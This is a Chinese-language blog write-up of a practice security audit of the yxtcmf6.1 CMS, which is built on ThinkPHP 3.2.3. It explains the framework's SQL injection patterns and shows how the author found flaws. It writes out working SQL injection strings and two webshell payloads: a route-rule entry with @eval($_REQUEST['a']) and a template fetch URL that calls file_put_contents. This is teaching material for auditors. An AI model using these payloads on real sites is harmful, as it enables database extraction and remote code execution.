基於ThinkPHP的CMS審計思路


前言

yxtcmf6.1是一個基於thinkphp3.2.3的cms,19年3月份發布,用來練習代碼審計是個不錯的選擇。

審計思路

由於這個cms采用MVC架構並且是基於thinkphp3.2.3的,所以先了解文件結構,知道不同的頁面對應的文件位置在哪。然后搭建一個tp3.2.3了解一下這個框架,百度找找這個框架的漏洞,再通過Seay全局搜索可能因為這個框架存在漏洞的關鍵詞。接下來上自動審計(自動審計的規則並不是很完全,所以可以通過自己審計的經驗添加規則或者上百度找一些規則),對自動審計的結果進行驗證,結果可能會有幾百上千條,雖然不用每一條都去看,但是也是比較需要耐心的。最后可以拿AWVS之類的掃描器掃一掃,看看能不能掃出驚喜。

准備工具

phpstorm,Seay源碼審計系統,phpstudy,AWVS

0x00 了解文件結構和路由方式

1589094967_5eb7aa37efdff.png!small

路由方式

1589094465_5eb7a84163d32.png!small

例如前台登錄界面的url為http://127.0.0.1:8014/index.php/User/Login/index

1589094623_5eb7a8df3e000.png!small

則對應的文件目錄為/application/User/LoginController.class.php,函數為index()

1589094654_5eb7a8feedaed.png!small

0x01 了解thinkphp3.2.3的漏洞

自己先搭建一個tp3.2.3,通過百度找到了一些thinkphp3.2.3存在的sql注入,然后記錄下來簡單說明一下

1589092464_5eb7a070f1959.png!small

tp3.2.3構造sql語句的函數如上,如果$option的值是可以任意傳入的,那么就有可能達到sql注入的目的

1.->where("可控參數")->find()

$username = $_GET['username'];$data= M('users')->where(array("username"=>$username))->find();

測試代碼如上,傳入參數username[0]=exp&username[1]=='admin' and updatexml(1,concat(0x3a,(user())),1)%23,然后調試跟進,主要代碼段如下,$whereStr為構造sql語句的一部分

1589088511_5eb790ff62a7c.png!small

1589088602_5eb7915a97fee.png!small

結果構成如下sql語句

1589088639_5eb7917f39e2a.png!small

這里接收傳參的方法必須不為I($_GET['username']),否則會檢測值內是否含有'exp',如果有,就會加上空格變為'exp '

2.->find/select/delete("可控參數")

$id=I("id");$data=M("users")->find($id);

測試代碼如上,傳入id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1) %23 ,然后調試跟蹤

1589089487_5eb794cf1586c.png!small

最后得到sql語句如下,不需要單引號閉合也可完成注入

1589089528_5eb794f85c6e6.png!small

find()換成select()或者delete()也是一樣的效果

3.->where("可控參數")->save("可控參數")

$condition["username"]=I("username");$data["password"]=I("password");$res=M("users")->where($condition)->save($data);

測試代碼如上,傳入username[0]=bind&username[1]=0 and (updatexml(1,concat(0x3a,(user())),1))%23&password=123456,調試跟蹤

1589090385_5eb798510a726.png!small

1589090657_5eb79961b23eb.png!small

1589090914_5eb79a6289cb7.png!small

4.->order("可控參數")->find()

$username=I("username");$order=I("order");$data=M("users")->where(array("username"=>$username))->order($order)->find();

測試代碼如上,傳入username=admin&order[updatexml(1,concat(0x3a,user()),1)]

1589092405_5eb7a03580fe2.png!small最后的sql語句如下

1589092422_5eb7a0468793f.png!small

了解了幾個tp3.2.3的sql注入后,就可以搜索這些關鍵詞來尋找sql注入

0x02 全局搜索sql注入

正則學的不是很好,所以這里全局搜索雖然支持正則,但是沒去用,只能寫點簡單的關鍵詞來搜索,還望師傅們指點指點

全局搜索->find(

1589096722_5eb7b11252939.png!small

1.后台Ad控制器sql注入

1589096863_5eb7b19fa940c.png!small

點進去第一條發現where()內的$id可控,“ad_id=$id”,可能不需要單引號閉合就可以sql注入

1589096917_5eb7b1d541ae8.png!small

先隨便傳個參數看看sql語句是怎樣的

1589097580_5eb7b46c4ee54.png!small

竟然這樣,就可以用括號閉合來注入了

1589097745_5eb7b51138b36.png!small

2.前台register控制器sql注入

1589098283_5eb7b72b6c2b5.png!small

看看$where是否可控

1589099928_5eb7bd987ecc6.png!small

於是構造payload如下

1589100057_5eb7be1971ba5.png!small

3.前台login控制器sql注入

1589175286_5eb8e3f6beb52.png!small

這里一共有三處同樣的關鍵詞,需要注意的一點是,這三條不管雙擊進去哪一條后都只會高亮顯示第一處關鍵詞的位置。

第一處

1589176131_5eb8e743d2e5e.png!small第二處

1589176196_5eb8e784f2c45.png!small

第三處1589176267_5eb8e7cb660a1.png!small

第一處和第二處所在的函數都是在dologin()函數內調用的

1589175884_5eb8e64cecad1.png!small

接下來在第二處所在頁面傳參payload看看

1589177197_5eb8eb6de0788.png!small

結果出現錯誤提示,那么就調試跟蹤看看是哪里的問題

1589177355_5eb8ec0ba7066.png!small

然后繼續跟進這行代碼,

1589177595_5eb8ecfba0333.png!small1589177746_5eb8ed92ddac9.png!small

1589178066_5eb8eed26d824.png!small

1589178161_5eb8ef31115d3.png!small

1589178284_5eb8efac34294.png!small

1589178519_5eb8f09796969.png!small

最后看看第三處

1589179234_5eb8f3623d4ff.png!small

1589179349_5eb8f3d55ceb0.png!small

后面的結果大致看了一下基本都是where()內的參數都做了強制類型轉換成int型,或者不可控,並且也沒有看到fin()內有可控參數的。

全局搜索->select/delete(

1589179742_5eb8f55edf635.png!small

1589179752_5eb8f56854362.png!small

這兩都沒找到select/delete()里面有可控參數的

全局搜索->save(

1589179943_5eb8f6271a959.png!small

這里找的也是不符合可能存在漏洞的條件

全局搜素->order(

1589180090_5eb8f6ba0bbf0.png!small

同上,沒看到order()內有可控參數的

0x03 自動審計

1589096030_5eb7ae5ee846b.png!small

通過自動審計掃出了800多條結果,但是並不需要全都看,比如了解了tp3.2.3后,它的核心文件的就不需要看了,還有剛剛分析過了sql注入,那么這里面的sql注入也不需要看了。像fread(),fgets()這種需要輸出才能看到文件內容的,如果沒有看到輸出的語句也可以放棄了,而像readfile(),unlink()這種可以直接得到執行結果的,就要重點關注一下。

0x04 后台任意文件讀取

翻着翻着找到了這里,進去看看變量是否可控

1589181814_5eb8fd7603330.png!small

1589182067_5eb8fe730e250.png!small

1589182080_5eb8fe80b2fa2.png!small1589182132_5eb8feb4c1619.png!small

0x05 后台文件寫入getshell

翻到這里,點進去看看

1589182738_5eb90112a7f9f.png!small1589183792_5eb9053064a83.png!small

1589183122_5eb902922977b.png!small

那么如果能在route表中的full_url字段中插入一句話木馬,就可以將其寫入到route.php里面了

上面的1212-1217行需要注意一下

1589186601_5eb910292c8e6.png!smallparse_url($full_url)將里面的值解析,並將相應的值組合成數組,例子如下

1589186813_5eb910fd7aefd.png!small

1589186874_5eb9113aa1e21.png!small

如果$a直接填a/b/c/d,那么array[path]=a/b/c/d

1589186972_5eb9119c93a21.png!small

1589186964_5eb911945760e.png!small

繼續看到1215-1217行1589187678_5eb9145e529bb.png!small

所以full_url的字段必須含有 a/b/c 這樣的形式

全局搜索sp_get_routes后發現admin目錄下的Route控制器調用了它1589184168_5eb906a8e9351.png!small

雖然index()函數下沒有插入表的語句,但是下面還有add()函數進行數據庫插入,先打開這個index頁面看看

1589184280_5eb90718e8929.png!small

發現有添加url規則1589184335_5eb9074fbc6da.png!small

確實是在add()下,並且原始網址的變量名為full_url,加下來都輸入111驗證下是否是插入route表

1589184458_5eb907ca60713.png!small

接下來看看route.php的樣式和插入數據是否有過濾來確定payload要怎么寫

1589184731_5eb908dbaa3d2.png!small

因為這是個php文件,所以不需要插入<>了,只要能插入單引號閉合,那么就可以將一句話木馬插入

先插入帶單引號的數據測試一下

1589188366_5eb9170e7e476.png!small

然后再結合上面說的 full_url的字段必須含有 a/b/c 這樣的形式 那么就可以構造以下兩種payload

url=aaa',@eval($_REQUEST['a']),'

full_url=a/b/c

url=aaa

full_url=a/b/c',@eval($_REQUEST['a']),'

1589189228_5eb91a6c00088.png!small

1589189261_5eb91a8dc42d8.png!small

添加完后會自動跳轉到url美化界面,也就是調用route控制器的index()函數,完成寫入route.php的操作

1589189446_5eb91b46acb67.png!small1589189464_5eb91b58e1c66.png!small

然后成功執行phpinfo()

0x06 前台文件寫入getshell

這個是在百度上找到的,而且比較復雜,小弟水平有限,調試了很多遍才知道在哪執行的寫入。

 

http://127.0.0.1:8014/index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

1589252645_5eba122578412.png!small

由於前面跟進了很多文件和函數,跟進步驟比較繁瑣,我在這就直接貼出最后關鍵的地方

1589253666_5eba162212fe3.png!small

1589253686_5eba1636e15d1.png!small先回調has方法檢查有沒有''5f068... 這個php文件,如果沒有,則回調put寫入這個文件

1589253456_5eba155005144.png!small1589253460_5eba1554cd577.png!small

1589253535_5eba159fc88ca.png!small

這里的$content就包含了payload里寫入的值

1589254057_5eba17a9ad7d3.png!small

如果有''5f068... 這個文件,那么就回調load函數,然后文件包含''5f068... ,里面的代碼被執行,那么test.php文件就被寫入了

1589253738_5eba166a98c0e.png!small1589253772_5eba168cab9cd.png!small1589254090_5eba17ca2552a.png!small

0x07 AWVS掃描

1589254175_5eba181fc3415.png!small

AWVS並沒有掃出來什么...

總結

自動審計除了這些驗證出漏洞的地方,還有很多不存在漏洞的地方我也看了,要么就是參數不可控,要么就是做了防護。雖然不用每一條結果都去看,但還是需要有點耐心。希望這篇文章能對剛入門審計的兄弟有所幫助,有問題的地方也還望師傅們指出。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM